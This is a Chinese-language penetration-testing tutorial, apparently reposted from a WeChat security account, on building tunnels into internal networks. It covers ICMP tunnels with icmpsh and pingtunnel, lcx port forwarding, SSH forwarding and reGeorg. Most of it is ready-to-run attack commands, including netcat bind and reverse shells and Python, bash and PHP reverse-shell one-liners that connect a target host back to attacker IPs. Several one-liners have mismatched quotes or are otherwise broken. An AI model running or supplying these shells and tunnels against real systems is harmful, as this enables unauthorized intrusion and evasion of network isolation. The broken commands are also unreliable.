隧道
隧道是一种通过将数据封装在另一个协议的包装中来传输数据的技术。它创建了一个安全的通道,将数据从一个地点传输到另一个地点,通常在两个网络之间。这种通道通常是加密的,以保护数据的机密性。隧道技术通常用于连接不同地理位置的网络,以创建安全的、私有的通信通道。
正向连接:
正向连接是指从客户端到服务器的标准网络连接模型。在正向连接中,客户端发起连接请求,服务器等待接受连接请求,一旦连接建立,数据可以在客户端和服务器之间双向传输。这是通常的网络通信模型,例如,当您使用Web浏览器访问网站时,您的浏览器建立了正向连接到Web服务器,以请求和接收网页内容。
正向连接的特点包括:
客户端主动发起连接请求。
服务器被动等待连接。
数据可以双向传输。
通常用于标准网络通信。
##反向连接:
反向连接是一种与正向连接相反的网络连接模型。在反向连接中,服务器发起连接请求,客户端等待接受连接请求。这种模型通常用于特殊情况,例如远程管理、远程支持和网络攻击的渗透测试等。
反向连接的特点包括:
服务器主动发起连接请求。
客户端被动等待连接。
数据可以双向传输。
通常用于需要远程控制或访问的场景。
Icmp隧道
工具icmpsh
环境 windows主机B(目标机)公网
Kali主机A(攻击机)
配置攻击机
1,安装python2
2,安装python2后安装python-impacket库 (apt-get install python-impacket或pip2 install impacket -i
利用过程
手动运行攻击机A的icmpsh程序进行监听
Python2 icmpsh_m.py 攻击者IP地址 目标IP地址
如下:
目标主机B上执行icmpsh.exe
Icmpsh.exe -t 攻击机IP地址 -d 500 -b 30 -s 128
此时在攻击机上返回shell
即是此时使用该shell在目标机器上执行命令等操作。
工具pingtunnel:
下载地址:https://github.com/esrrhs/pingtunnel/
环境:
安装工具
在vps192.168.1.10上
解压:
安装 make&&make install
在安装过程中若出现缺少包直接安装即可
在web服务器上上传对应版本的pingtunnel
进行安装
利用过程
1,在web服务器上运行ptunnel -x password
2,在vps上输入:ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x password
第二步的含义:在访问vps的lp(1080)端口时,会将数据库服务器1.1.1.10的3389端口的数据用ICMP数据封装,以web服务器192.168.1.4为跳板进行传送。
此时当访问VPS的监听端口1080时即是可以连接到数据库服务器的3389端口,开始远程桌面会话。
二:
跳板机web服务器上传pingtunnel并开启代理服务
./pingtunnel -type server
此时攻击机进行连接隧道
./pingtunnel -type client -l 192.168.1.10:10000 -s 192.168.1.4 -sock5 1
在自己的vps攻击机上监听自己的地址192.168.1.10的10000端口,连接对端跳板机192.168.1.4的socke5代理
此时配置攻击机vps的socke5代理
在本地windows中使用SocksCap64进行代理配置代理服务器为vps即可访问到1.1.1.10内网服务器。
传输层隧道
lcx端口转发
在目标机器上执行如下命令,将3389端口的所有数据转发到公网vps 1.1.1.1的8888端口上
lcx.exe -slave 1.1.1.1 8888 127.0.0.1 3389
在vps1.1.1.1上执行如下命令,将8888端口监听到的所有数据转发到9999上
lcx.exe -listen 8888 9999
此时使用远程登录vps的9999端口即是对应登录到目标机器的3389端口。
nc正向连接-反向连接
正向连接
目标机器监听4444端口(要求目标机器为公网地址设为2.2.2.2)
nc -lvp 20000 -e /bin/bash
注:当nc不支持-e参数时使用如下命令
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 20000 > /tmp/tmp_fifo
攻击机执行如下命令(攻击机可以不是公网地址)
Nc 2.2.2.2 20000
此时成功获取shell
反向连接
在VPS(公网)1.1.1.1上进行监听9999
在目标主机上执行如下命令进行反向shell获取
nc 1.1.1.1 9999 -e /bin/bash
注:当nc不支持-e参数时使用如下命令
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -nv 1.1.1.1 9999 > /tmp/tmp_fifo
获取到shell
python反向shell
在VPS(公网)1.1.1.1上进行监听9999
在目标主机上执行如下命令进行反向shell获取
1,Python -c “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(“1.1.1.1”,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)p=subprocess.call([“/bin/sh”,”-i”]);”
2,python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.10.11”,443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/bash”)’
bash反向shell
在VPS(公网)1.1.1.1上进行监听9999
在目标主机上执行如下命令进行反向shell获取
bash -i >& /dev/tcp/1.1.1.1/9999 0>&1 (注:反弹tcp shell)
bash -i >& /dev/udp/1.1.1.1/9999 0>&1 (注:反弹udp shell此时的监听命令为nc -u -lvp 9999)
获取到shell
PHP反向shell
在VPS(公网)1.1.1.1上进行监听9999
在目标主机上执行如下命令进行反向shell获取
php -r ‘$sock=fsockopen(“10.10.10.11”,443);exec(“/bin/sh -i &3 2>&3”);’
php -r ‘$s=fsockopen(“10.10.10.11”,443);$proc=proc_open(“/bin/sh -i”, array(0=>$s, 1=>$s, 2=>$s),$pipes);’
php -r ‘$s=fsockopen(“10.10.10.11”,443);shell_exec(“/bin/sh -i &3 2>&3”);’
php -r ‘$s=fsockopen(“10.10.10.11”,443);/bin/sh -i &3 2>&3
;’
php -r ‘$s=fsockopen(“10.10.10.11”,443);system(“/bin/sh -i &3 2>&3”);’
php -r ‘$s=fsockopen(“10.10.10.11”,443);popen(“/bin/sh -i &3 2>&3”, “r”);’
php -r ‘$s=’127.0.0.1’;$p=443;@error_reporting(0);@ini_set(“error_log”,NULL);@ini_set(“log_errors”,0);@set_time_limit(0);umask(0);if($s=fsockopen($s,$p,$n,$n)){if($x=proc_open(’/bin/sh$IFS-i’,array(array(’pipe’,’r’),array(’pipe’,’w’),array(’pipe’,’w’)),$p,getcwd())){stream_set_blocking($p[0],0);stream_set_blocking($p[1],0);stream_set_blocking($p[2],0);stream_set_blocking($s,0);while(true){if(feof($s))die(’connection/closed’);if(feof($p[1]))die(’shell/not/response’);$r=array($s,$p[1],$p[2]);stream_select($r,$n,$n,null);if(in_array($s,$r))fwrite($p[0],fread($s,1024));if(in_array($p[1],$r))fwrite($s,fread($p[1],1024));if(in_array($p[2],$r))fwrite($s,fread($p[2],1024));}fclose($p[0]);fclose($p[1]);fclose($p[2]);proc_close($x);}else{die(“proc_open/disabled”);}}else{die(“not/connect”);}’
Powercat
由于PowerCat是NetCat的PowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样.
PowerCat也是一套基于DNS通信的协议,PowerCat的DNS通信是基于dnscat
应用层隧道
SSH协议
常见形式:ssh [email protected]
常用参数
-C:压缩传输,提高传输速度
-f:将ssh传输转到后台执行,不占用当前的shell
-N:建立静默连接,(建立了连接,但是看不到具体的会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(SOCKS代理)
-p:指定ssh端口
1,本地转发
服务器A 192.168.1.1
服务器B 192.168.1.2
VPS服务器C 192.168.2.1
服务器A,B,之间可以相互访问
VPS能够获取到A的shell
目的:使用VPS访问服务器B的3389远程桌面
在VPS上执行如下
ssh -CfNg -L 1153:192.168.1.2:3389 [email protected]
如此即是可以连接VPS192.168.2.1的1153端口即是连接到192.168.1.2的3389端口。
注 在输入上面命令的过程中需要输入192.168.1.1的密码
2,远程转发
环境同1
在服务器A上执行
ssh -CfNg -R 1153:192.168.1.2:3389 [email protected]
如此即是可以连接VPS192.168.2.1的1153端口即是连接到192.168.1.2的3389端口。
3,动态转发
环境同上
在vos服务器C上执行如下命令,建立一个动态的SSOCKS4/5代理通道。
ssh -CfNg -D 7000 [email protected]
注:输入192.168.1.1的密码
通过上面的操作即是将192.168.1.1设置为一个代理服务器,其监听端口为7000
通过浏览器设置代理服务器既可以访问内网的网站
HTTPS/HTTP协议
regeorg
首先上传服务器能够解析的脚本文件到服务器上
在本机的脚本开启代理
Python reGeorgSocksProxy.py -u http://192.168.1.1/tunnel.jsp -p 9999
注:http://192.168.1.1/tunnel.jsp为上传的脚本url
接下来使用代理工具配置代理服务器地址127.0.0.1:9999,通过设置全局代理既可以使用本机以服务器做代理访问内网。
通过代理及隧道的方式可以更加方便对隔离网或一些不在同一个网络的系统进行相应的测试
原文始发于微信公众号(德斯克安全小课堂):从小白到大神 | 一文读懂隧道搭建
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论